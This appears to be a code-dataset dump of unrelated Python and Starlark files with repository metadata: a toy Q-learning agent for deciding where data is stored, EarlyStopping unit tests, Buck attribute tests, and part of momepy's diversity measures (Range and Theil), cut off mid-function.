feature_names = ['color_1', 'color_10', 'color_11', 'color_12', 'color_13', 'color_14', 'color_15', 'color_16', 'color_17', 'color_18', 'color_19', 'color_2', 'color_20', 'color_21', 'color_22', 'color_23', 'color_24', 'color_25', 'color_26', 'color_27', 'color_28', 'color_29', 'color_3', 'color_30', 'color_31', 'color_32', 'color_33', 'color_34', 'color_35', 'color_36', 'color_37', 'color_38', 'color_39', 'color_4', 'color_40', 'color_41', 'color_42', 'color_5', 'color_6', 'color_7', 'color_8', 'color_9', 'level_1', 'level_10', 'level_11', 'level_12', 'level_13', 'level_14', 'level_15', 'level_16', 'level_17', 'level_18', 'level_19', 'level_2', 'level_20', 'level_21', 'level_22', 'level_23', 'level_24', 'level_25', 'level_26', 'level_27', 'level_28', 'level_29', 'level_3', 'level_30', 'level_31', 'level_32', 'level_33', 'level_34', 'level_35', 'level_36', 'level_37', 'level_38', 'level_39', 'level_4', 'level_40', 'level_41', 'level_42', 'level_5', 'level_6', 'level_7', 'level_8', 'level_9', 'star_1', 'star_10', 'star_11', 'star_12', 'star_13', 'star_14', 'star_15', 'star_16', 'star_17', 'star_18', 'star_19', 'star_2', 'star_20', 'star_21', 'star_22', 'star_23', 'star_24', 'star_25', 'star_26', 'star_27', 'star_28', 'star_29', 'star_3', 'star_30', 'star_31', 'star_32', 'star_33', 'star_34', 'star_35', 'star_36', 'star_37', 'star_38', 'star_39', 'star_4', 'star_40', 'star_41', 'star_42', 'star_5', 'star_6', 'star_7', 'star_8', 'star_9', 'total_colors', 'total_levels', 'total_stars']
model: RandomForestClassifier = pickle.loads(gzip.decompress(base64.b64decode(
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)))
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0
| 7
|
cd9de8d97bb075984d27115637902835b7b1fa63
| 10,554
|
py
|
Python
|
gym_map_bro/src/toy_agents.py
|
blakehartley/MAP2
|
b83355934a781c5c64caf757483ac07cc3862538
|
[
"MIT"
] | null | null | null |
gym_map_bro/src/toy_agents.py
|
blakehartley/MAP2
|
b83355934a781c5c64caf757483ac07cc3862538
|
[
"MIT"
] | null | null | null |
gym_map_bro/src/toy_agents.py
|
blakehartley/MAP2
|
b83355934a781c5c64caf757483ac07cc3862538
|
[
"MIT"
] | null | null | null |
import gym
import numpy as np
from gym import spaces
import copy
from gym_map_bro.src.data import *
env = gym.make('map-bro-v0')
def recommend(files, Q):
action = ['save', 'compress', 'delete']
for i in range(0, Q.shape[0]-1):
row = Q[i]
if(np.max(row) < 0.1):
print("File {}: {} recommendation: {}". format(i, files[i], action[2]))
else:
r = np.argmax(row)
print("File {}: {} recommendation: {}". format(i, files[i], action[r]))
def delayed_reward_agent(env, db, lr, y, num_episodes):
env.observation_space = spaces.Discrete(len(db.batch))
Q = np.zeros([env.observation_space.n+1,env.action_space.n])#np.zeros([env.observation_space.n+1,env.action_space.n])
# Set learning parameters
#create lists to contain total rewards and steps per episode
rList = []
print('derder', db.get('val'),db.get('val_tot'))
for i in range(num_episodes):
# Soft Reset environment to preserve value table
s = env.batch_reset()
rAll = 0
d = False
j = 0
#The Q-Table learning algorithm
while j < 99:
j+=1
#Choose an action by greedily (with noise) picking from Q table
epsilon = 1./np.log10(i+1.)
rand = np.random.uniform(5.0)
if(rand > epsilon):
a = np.argmax(Q[s,:])
else:
print('RANDOM',i)
a = np.random.choice(env.action_space.n)
#Get new state and reward from environment
s1,r,d,_ = env.step(a, db.batch[s])
#Update Q-Table with new knowledge
Q[s,a] = Q[s,a] + lr*(r + y*np.max(Q[s1,:]) - Q[s,a])
rAll += r
s = s1
if d == True:
break
rList.append(rAll)
return Q, rList
def greedy_agent(env, db, lr, y, num_episodes):
Q = np.zeros([env.observation_space.n,env.action_space.n])
# Set learning parameters
#create lists to contain total rewards and steps per episode
#jList = []
rList = []
for i in range(num_episodes):
#Reset environment and get first new observation
s = env.batch_reset()
rAll = 0
d = False
j = 0
#The Q-Table learning algorithm
while j < 99:
j+=1
#Choose an action by greedily (with noise) picking from Q table
epsilon = 1./(i+1.)
rand = np.random.uniform(1.0)
if(rand > epsilon):
a = np.argmax(Q[s,:])
else:
a = np.random.choice(env.action_space.n)
#print(s, a)
#Get new state and reward from environment
s1,r,d,_ = env.step(a, db[s])
#Update Q-Table with new knowledge
Q[s,a] = Q[s,a] + lr*r
rAll += r
s = s1
if d == True:
break
#env.render()
#jList.append(j)
rList.append(rAll)
return Q, rList
# Train the agent on a new batch of values, print the final results
def batch_load(env, db, num_episodes):
#Need to check if any of the data has expired
lr = .9
y = .95
for i in env.names[1:]:
expir_dis = env.ds[i].get_expir()
db.add(expir_dis)
#Training on incoming data
Q, rList = delayed_reward_agent(env, db, lr, y, num_episodes)
#Q, rList = greedy_agent(env, values, lr, y, num_episodes)
print(f'Q is {Q}')
# Determine best actions for the batch
batch_actions = np.argmax(Q, axis=1)
# Perform the recommended actions
env.time_step(db, batch_actions[0:db.size])
def batch_load_hybrid(env, db, num_episodes): #expiration is handled in a heuristic way. but then uses Q table fo placement
#Need to check if any of the data has expired
lr = .9
y = .95
for i in np.arange(env.num_ds)[::-1]+1: #Go from cold to hot DataStores
expir_dis = env.ds[env.names[i]].get_expir() #Get expired dataItems
for j in np.arange(len(expir_dis)):
next_id = expir_dis[j].rplan[expir_dis[j].ind+1] #Get next step in rplan
if next_id != 0:
next_ds = env.ds[env.names[next_id]] # Grab DataStore associated with action
val_arg = np.argmin(next_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
next_di = next_ds.dataBatch.batch[val_arg]
low_val_tot = next_di.val_tot
next_ds.dataBatch.save(expir_dis[j],val_arg,next_ds.val_func,next_id)
next_id = next_di.rplan[next_di.ind+1]
if not np.isnan(low_val_tot) and next_id == 0: # Cold is full! So kicked out data is deleted.
env.del_val.append([np.nan_to_num(next_di.val.values[0]),next_di.val_tot])
while not np.isnan(low_val_tot) and next_id != 0: # Continue cascade until you reach empty dataStore or deletion
next_ds = env.ds[env.names[next_id]]
next_val_arg = np.argmin(next_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
low_val_tot = next_ds.dataBatch.batch[next_val_arg].val_tot #val_tot of low_val
tmp = copy.deepcopy(next_ds.dataBatch.batch[next_val_arg])
next_ds.dataBatch.save(next_di,next_val_arg,next_ds.val_func,next_id)
next_di = tmp
next_id = next_di.rplan[next_di.ind+1]
if next_id == 0:
env.del_val.append([next_ds.dataBatch.batch[next_val_arg].val.values[0],low_val_tot])
else:
env.del_val.append([expir_dis[j].val.values[0],expir_dis[j].val_tot])
#Training on incoming data
Q, rList = delayed_reward_agent(env, db, lr, y, num_episodes)
# Determine best actions for the batch
batch_actions = np.argmax(Q, axis=1)
# Perform the recommended actions
env.time_step(db, batch_actions[0:5])
def batch_load_static(env, db, num_episodes): #Static Heuristic where lowest value data is kicked out
#Need to check if any of the data has expired
lr = .9
y = .95
for i in np.arange(env.num_ds)[::-1]+1: #Go from cold to hot DataStores
expir_dis = env.ds[env.names[i]].get_expir() #Get expired dataItems
for j in np.arange(len(expir_dis)):
next_id = expir_dis[j].rplan[expir_dis[j].ind+1] #Get next step in rplan
if next_id != 0:
next_ds = env.ds[env.names[next_id]] # Grab DataStore associated with action
val_arg = np.argmin(next_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
next_di = next_ds.dataBatch.batch[val_arg]
low_val_tot = next_di.val_tot
next_ds.dataBatch.save(expir_dis[j],val_arg,next_ds.val_func,next_id)
next_id = next_di.rplan[next_di.ind+1]
if not np.isnan(low_val_tot) and next_id == 0: # Cold is full! So kicked out data is deleted.
#print('YIPPEE',np.nan_to_num(next_di.val.values[0]),next_di.val_tot)
env.del_val.append([np.nan_to_num(next_di.val.values[0]),next_di.val_tot])
while not np.isnan(low_val_tot) and next_id != 0: # Continue cascade until you reach empty dataStore or deletion
next_ds = env.ds[env.names[next_id]]
next_val_arg = np.argmin(next_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
low_val_tot = next_ds.dataBatch.batch[next_val_arg].val_tot #val_tot of low_val
tmp = copy.deepcopy(next_ds.dataBatch.batch[next_val_arg])
next_ds.dataBatch.save(next_di,next_val_arg,next_ds.val_func,next_id)
next_di = tmp
next_id = next_di.rplan[next_di.ind+1]
if next_id == 0:
#print('LOOKK',next_ds.dataBatch.batch[next_val_arg].val.values[0],low_val_tot)
env.del_val.append([next_ds.dataBatch.batch[next_val_arg].val.values[0],low_val_tot])
else:
#print('CHOCO',expir_dis[j].val.values[0],expir_dis[j].val_tot)
env.del_val.append([expir_dis[j].val.values[0],expir_dis[j].val_tot])
for i in np.arange(env.num_ds)[::-1]+1: #Go from cold to hot DataStores
ds = env.ds[env.names[i]]
old_dis = []
for j in np.argsort(np.nan_to_num(ds.dataBatch.get('val_tot')))[0:db.size]:
old_dis.append(ds.dataBatch.batch[j])
old_di = ds.dataBatch.batch[j]
if i == 3:
env.del_val.append([np.nan_to_num(old_di.val.values[0]),old_di.val_tot])
val = ds.dataBatch.get('val')
data = pd.DataFrame(index = np.arange(2), columns = val.columns) # Empty dataframe uesed to empty row that has decayed out
ds.dataBatch.batch[j] = dataItem(data.iloc[0],data.iloc[0],np.nan,0,[1,2,3,0])
for j in np.arange(len(old_dis)):
old_di = copy.deepcopy(old_dis[j])
next_id = old_dis[j].rplan[old_dis[j].ind+1] #Get next step in rplan
if not np.isnan(old_di.val_tot) and next_id != 0:
next_ds = env.ds[env.names[next_id]] # Grab DataStore associated with action
val_arg = np.argmin(next_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
next_ds.dataBatch.save(old_di,val_arg,next_ds.val_func,next_id)
next_id = 1 #First step in incoming data's rplan is hot
hot_ds = env.ds['Hot'] # Grab DataStore associated with action
for j in np.arange(db.size):
val_arg = np.argmin(hot_ds.dataBatch.get('val_tot'), axis=0) #arg of the min value in dataStore
hot_ds.dataBatch.save(db.batch[j],val_arg,hot_ds.val_func,next_id)
#print('first check for', env.names[1],hot_ds.dataBatch.get('val')['Age'])
for j in np.arange(env.num_ds): #Age all dataItems in dataStores by 1 timestep
#print('Im in',env.names[j+1])
env.ds[env.names[j+1]].dataBatch.age_step(env.ds[env.names[j+1]].val_func)
#print('last check for', env.names[1],hot_ds.dataBatch.get('val')['Age'])
def batch_load_dumb(env, db, num_episodes): #Static policy where oldest data gets kicked out
#Need to check if any of the data has expired
lr = .9
y = .95
for i in np.arange(env.num_ds)[::-1]+1: #Go from cold to hot DataStores
ds = env.ds[env.names[i]]
old_dis = []
for j in np.argsort(ds.dataBatch.get('val')['Age'].values)[::-1][0:db.size]:
old_dis.append(ds.dataBatch.batch[j])
if i == 3:
old_di = ds.dataBatch.batch[j]
env.del_val.append([np.nan_to_num(old_di.val.values[0]),old_di.val_tot])
val = ds.dataBatch.get('val')
data = pd.DataFrame(index = np.arange(2), columns = val.columns) # Empty dataframe uesed to empty row that has decayed out
ds.dataBatch.batch[j] = dataItem(data.iloc[0],data.iloc[0],np.nan,0,[1,2,3,0])
for j in np.arange(len(old_dis)):
old_di = copy.deepcopy(old_dis[j])
next_id = old_dis[j].rplan[old_dis[j].ind+1] #Get next step in rplan
if not np.isnan(old_di.val_tot) and next_id != 0:
next_ds = env.ds[env.names[next_id]] # Grab DataStore associated with action
val_arg = np.argmax(next_ds.dataBatch.get('val')['Age'].values, axis=0) #arg of the min value in dataStore
next_ds.dataBatch.save(old_di,val_arg,next_ds.val_func,next_id)
next_id = 1 #First step in incoming data's rplan is hot
hot_ds = env.ds['Hot'] # Grab DataStore associated with action
for j in np.arange(db.size):
val_arg = np.argmax(hot_ds.dataBatch.get('val')['Age'].values, axis=0) #arg of the min value in dataStore
hot_ds.dataBatch.save(db.batch[j],val_arg,hot_ds.val_func,next_id)
for j in np.arange(env.num_ds): #Age all dataItems in dataStores by 1 timestep
env.ds[env.names[j+1]].dataBatch.age_step(env.ds[env.names[j+1]].val_func)
| 41.066148
| 126
| 0.69386
| 1,953
| 10,554
| 3.58935
| 0.115207
| 0.05806
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| 0.025963
| 0.871755
| 0.86077
| 0.83281
| 0.82525
| 0.795292
| 0.790014
| 0
| 0.014629
| 0.164487
| 10,554
| 256
| 127
| 41.226563
| 0.780336
| 0.285958
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| 0.765957
| 0
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| 0.026415
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| 0.037234
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| 0.026596
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| 0.074468
| 0.026596
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| 0
| null | 0
| 0
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| 1
| 1
| 1
| 1
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| 1
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| null | 0
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|
0
| 7
|
cddab10f45df6b73a1740329e0432550436b4944
| 7,263
|
py
|
Python
|
tests/early_stopping/tests/test_early_stopping.py
|
pekalam/ml_commons
|
739293e5eb5b9bce453f0a9ab77a61acba554807
|
[
"MIT"
] | null | null | null |
tests/early_stopping/tests/test_early_stopping.py
|
pekalam/ml_commons
|
739293e5eb5b9bce453f0a9ab77a61acba554807
|
[
"MIT"
] | null | null | null |
tests/early_stopping/tests/test_early_stopping.py
|
pekalam/ml_commons
|
739293e5eb5b9bce453f0a9ab77a61acba554807
|
[
"MIT"
] | null | null | null |
from utils import EarlyStopping
import pytest
def test_add_metric_returns_valid_values_values_scenario1():
early_stopping = EarlyStopping(2, 0.00001, 2000)
assert early_stopping.metric_increased == False
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
# inc1
(checkpoint, stop) = early_stopping.add_metric(0.2)
assert early_stopping.metric_increased == True and stop == False and checkpoint == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 1 and early_stopping.inc_start_loss == 0.1
# should not be counted
(checkpoint, stop) = early_stopping.add_metric(0.2)
assert early_stopping.metric_increased == True and stop == False and checkpoint == False and early_stopping.min_delta_iter == 1 and early_stopping.inc_iter == 1 and early_stopping.inc_start_loss == 0.1
# inc2 - min_delta_iter reset
(checkpoint, stop) = early_stopping.add_metric(0.3)
assert early_stopping.metric_increased == True and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 2 and early_stopping.inc_start_loss == 0.1
# inc3
(checkpoint, stop) = early_stopping.add_metric(0.4)
assert early_stopping.metric_increased == True and stop == True and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 3 and early_stopping.inc_start_loss == 0.1
# should throw
with pytest.raises(ValueError):
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 3 and early_stopping.inc_start_loss == 0.1
def test_add_metric_when_loss_smaller_than_min_delta_after_min_delta_patience_epochs__returns_stop():
early_stopping = EarlyStopping(3, 0.01, 2)
assert early_stopping.metric_increased == False
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0
# delta #1
(checkpoint, stop) = early_stopping.add_metric(0.095)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 1 and early_stopping.inc_iter == 0
# delta #2
(checkpoint, stop) = early_stopping.add_metric(0.094)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 2 and early_stopping.inc_iter == 0
# delta #3 - should stop and checkpoint
(checkpoint, stop) = early_stopping.add_metric(0.094)
assert early_stopping.metric_increased == False and stop == True and checkpoint == True and early_stopping.min_delta_iter == 3 and early_stopping.inc_iter == 0
# should throw
with pytest.raises(ValueError):
(checkpoint, stop) = early_stopping.add_metric(0.094)
def test_add_metric_when_loss_reach_base_value__returns_checkpoint():
early_stopping = EarlyStopping(2, 0.00001, 2000)
assert early_stopping.metric_increased == False
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
# inc1
(checkpoint, stop) = early_stopping.add_metric(0.2)
assert early_stopping.metric_increased == True and stop == False and checkpoint == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 1 and early_stopping.inc_start_loss == 0.1
# inc2
(checkpoint, stop) = early_stopping.add_metric(0.3)
assert early_stopping.metric_increased == True and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 2 and early_stopping.inc_start_loss == 0.1
# base val reached
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
def test_add_metric_with_min_delta_default_params():
early_stopping = EarlyStopping(2)
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
def test_add_metric_returns_valid_values_values_scenario2():
early_stopping = EarlyStopping(2, 0.00001, 2000)
assert early_stopping.metric_increased == False
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
# inc1
(checkpoint, stop) = early_stopping.add_metric(0.2)
assert early_stopping.metric_increased == True and stop == False and checkpoint == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 1 and early_stopping.inc_start_loss == 0.1
# inc2
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.metric_increased == False and stop == False and checkpoint == True and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
def test_add_metric_returns_checkpoint_and_doesnt_sto_if_early_stop_disabled():
early_stopping = EarlyStopping(None, 0.00001, 2000)
assert early_stopping.metric_increased == False
assert early_stopping.increase_counting_disabled == True
(checkpoint, stop) = early_stopping.add_metric(0.1)
assert early_stopping.increase_counting_disabled == True
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
(checkpoint, stop) = early_stopping.add_metric(0.2)
assert early_stopping.increase_counting_disabled == True
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
(checkpoint, stop) = early_stopping.add_metric(0.05)
assert early_stopping.increase_counting_disabled == True
assert early_stopping.metric_increased == False and stop == False and checkpoint == False and early_stopping.min_delta_iter == 0 and early_stopping.inc_iter == 0 and early_stopping.inc_start_loss == 0
| 61.033613
| 205
| 0.764973
| 1,073
| 7,263
| 4.859273
| 0.067102
| 0.304181
| 0.190257
| 0.145761
| 0.927886
| 0.926352
| 0.911968
| 0.881089
| 0.860568
| 0.841389
| 0
| 0.030053
| 0.147873
| 7,263
| 119
| 206
| 61.033613
| 0.812409
| 0.024095
| 0
| 0.7
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.442857
| 1
| 0.085714
| false
| 0
| 0.028571
| 0
| 0.114286
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
a80d0bf11b0ef42eb6055c2d6feef4f5b1abe79a
| 205
|
py
|
Python
|
tests/mock_arcpy.py
|
agrc/era
|
5347073eea665d5eba969915339b3149a5fec8f4
|
[
"MIT"
] | null | null | null |
tests/mock_arcpy.py
|
agrc/era
|
5347073eea665d5eba969915339b3149a5fec8f4
|
[
"MIT"
] | 3
|
2021-11-01T21:08:23.000Z
|
2021-12-02T16:45:46.000Z
|
tests/mock_arcpy.py
|
agrc/era
|
5347073eea665d5eba969915339b3149a5fec8f4
|
[
"MIT"
] | null | null | null |
# import sys
# import types
# from unittest.mock import Mock
# module_name = 'arcpy'
# arcpy = types.ModuleType(module_name)
# sys.modules[module_name] = arcpy
# arcpy.da = Mock(name=module_name + '.da')
| 22.777778
| 43
| 0.717073
| 29
| 205
| 4.931034
| 0.413793
| 0.27972
| 0.20979
| 0.27972
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146341
| 205
| 8
| 44
| 25.625
| 0.817143
| 0.921951
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b583649a7e8917673ed1a35d933fdd4c1b22ab03
| 924
|
bzl
|
Python
|
test/com/facebook/buck/skylark/parser/testdata/attr/string_list/defs.bzl
|
Unknoob/buck
|
2dfc734354b326f2f66896dde7746a11965d5a13
|
[
"Apache-2.0"
] | 8,027
|
2015-01-02T05:31:44.000Z
|
2022-03-31T07:08:09.000Z
|
test/com/facebook/buck/skylark/parser/testdata/attr/string_list/defs.bzl
|
Unknoob/buck
|
2dfc734354b326f2f66896dde7746a11965d5a13
|
[
"Apache-2.0"
] | 2,355
|
2015-01-01T15:30:53.000Z
|
2022-03-30T20:21:16.000Z
|
test/com/facebook/buck/skylark/parser/testdata/attr/string_list/defs.bzl
|
Unknoob/buck
|
2dfc734354b326f2f66896dde7746a11965d5a13
|
[
"Apache-2.0"
] | 1,280
|
2015-01-09T03:29:04.000Z
|
2022-03-30T15:14:14.000Z
|
""" Module docstring """
def well_formed():
""" Function docstring """
a = attr.string_list()
if repr(a) != "<attr.string_list>":
fail("Expected attr.string_list instance")
a = attr.string_list(mandatory = True, doc = "Some string_list", default = ["foo"])
if repr(a) != "<attr.string_list>":
fail("Expected attr.string_list instance")
a = attr.string_list(mandatory = True, doc = "Some string_list", default = ["foo"], allow_empty = True)
if repr(a) != "<attr.string_list>":
fail("Expected attr.string_list instance")
a = attr.string_list(mandatory = True, doc = "Some string_list", default = ["foo"], allow_empty = False)
if repr(a) != "<attr.string_list>":
fail("Expected attr.string_list instance")
def malformed():
""" Function docstring """
_a = attr.string_list(mandatory = True, doc = "Some string_list", default = 3, allow_empty = True)
| 44
| 108
| 0.640693
| 120
| 924
| 4.75
| 0.216667
| 0.298246
| 0.319298
| 0.236842
| 0.887719
| 0.887719
| 0.801754
| 0.801754
| 0.801754
| 0.801754
| 0
| 0.001348
| 0.19697
| 924
| 20
| 109
| 46.2
| 0.766846
| 0.060606
| 0
| 0.533333
| 0
| 0
| 0.331368
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0
| 0
| 0
| 0.133333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
8d231e12ddac370c5c03dd10bba2b1628a7cd23b
| 36
|
py
|
Python
|
taotao-cloud-python/taotao-cloud-oldboy/day22-python-module/re_lesson.py
|
shuigedeng/taotao-cloud-paren
|
3d281b919490f7cbee4520211e2eee5da7387564
|
[
"Apache-2.0"
] | 47
|
2021-04-13T10:32:13.000Z
|
2022-03-31T10:30:30.000Z
|
taotao-cloud-python/taotao-cloud-oldboy/day22-python-module/re_lesson.py
|
shuigedeng/taotao-cloud-paren
|
3d281b919490f7cbee4520211e2eee5da7387564
|
[
"Apache-2.0"
] | 1
|
2021-11-01T07:41:04.000Z
|
2021-11-01T07:41:10.000Z
|
taotao-cloud-python/taotao-cloud-oldboy/day22-python-module/re_lesson.py
|
shuigedeng/taotao-cloud-paren
|
3d281b919490f7cbee4520211e2eee5da7387564
|
[
"Apache-2.0"
] | 21
|
2021-04-13T10:32:17.000Z
|
2022-03-26T07:43:22.000Z
|
print(eval("12+(34*6+2-5*(2-1))"))
| 12
| 34
| 0.5
| 9
| 36
| 2
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.264706
| 0.055556
| 36
| 2
| 35
| 18
| 0.264706
| 0
| 0
| 0
| 0
| 0
| 0.542857
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
8d7700f6c86b1431cd2afa4d082d281ede5cd337
| 22,377
|
py
|
Python
|
momepy/diversity.py
|
AleFeli/momepy
|
fd68bdd2518e2c1cadce41a6059a93cebb2c1864
|
[
"MIT"
] | 1
|
2021-06-19T05:41:30.000Z
|
2021-06-19T05:41:30.000Z
|
momepy/diversity.py
|
AleFeli/momepy
|
fd68bdd2518e2c1cadce41a6059a93cebb2c1864
|
[
"MIT"
] | null | null | null |
momepy/diversity.py
|
AleFeli/momepy
|
fd68bdd2518e2c1cadce41a6059a93cebb2c1864
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# diversity.py
# definitions of diversity characters
import numpy as np
import pandas as pd
import scipy as sp
from tqdm import tqdm # progress bar
__all__ = ["Range", "Theil", "Simpson", "Gini", "Shannon", "Unique"]
class Range:
"""
Calculates the range of values within neighbours defined in ``spatial_weights``.
Uses ``scipy.stats.iqr`` under the hood.
Adapted from :cite:`dibble2017`.
Parameters
----------
gdf : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights
spatial weights matrix
unique_id : str
name of the column with unique id used as ``spatial_weights`` index
rng : Two-element sequence containing floats in range of [0,100], optional
Percentiles over which to compute the range. Each must be
between 0 and 100, inclusive. The order of the elements is not important.
**kwargs : keyword arguments
optional arguments for ``scipy.stats.iqr``
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
rng : tuple
range
kwargs : dict
kwargs
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['area_IQR_3steps'] = mm.Range(tessellation_df, 'area', sw, 'uID', rng=(25, 75)).series
100%|██████████| 144/144 [00:00<00:00, 722.50it/s]
"""
def __init__(self, gdf, values, spatial_weights, unique_id, rng=(0, 100), **kwargs):
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
self.rng = rng
self.kwargs = kwargs
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
data = data.set_index(unique_id)[values]
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
else:
neighbours = [index]
values_list = data.loc[neighbours]
results_list.append(sp.stats.iqr(values_list, rng=rng, **kwargs))
else:
results_list.append(np.nan)
self.series = pd.Series(results_list, index=gdf.index)
class Theil:
"""
Calculates the Theil measure of inequality of values within neighbours defined in ``spatial_weights``.
Uses ``inequality.theil.Theil`` under the hood. Requires '`inequality`' package.
.. math::
T = \sum_{i=1}^n \left( \\frac{y_i}{\sum_{i=1}^n y_i} \ln \left[ N \\frac{y_i}{\sum_{i=1}^n y_i}\\right] \\right)
Parameters
----------
gdf : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights
spatial weights matrix
unique_id : str
name of the column with unique id used as ``spatial_weights`` index
rng : Two-element sequence containing floats in range of [0,100], optional
Percentiles over which to compute the range. Each must be
between 0 and 100, inclusive. The order of the elements is not important.
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
rng : tuple, optional
range
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['area_Theil'] = mm.Theil(tessellation_df, 'area', sw, 'uID').series
100%|██████████| 144/144 [00:00<00:00, 597.37it/s]
"""
def __init__(self, gdf, values, spatial_weights, unique_id, rng=None):
try:
from inequality.theil import Theil
except ImportError:
raise ImportError("The 'inequality' package is required.")
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
self.rng = rng
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
data = data.set_index(unique_id)[values]
if rng:
from momepy import limit_range
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
else:
neighbours = [index]
values_list = data.loc[neighbours]
if rng:
values_list = limit_range(values_list, rng=rng)
results_list.append(Theil(values_list).T)
else:
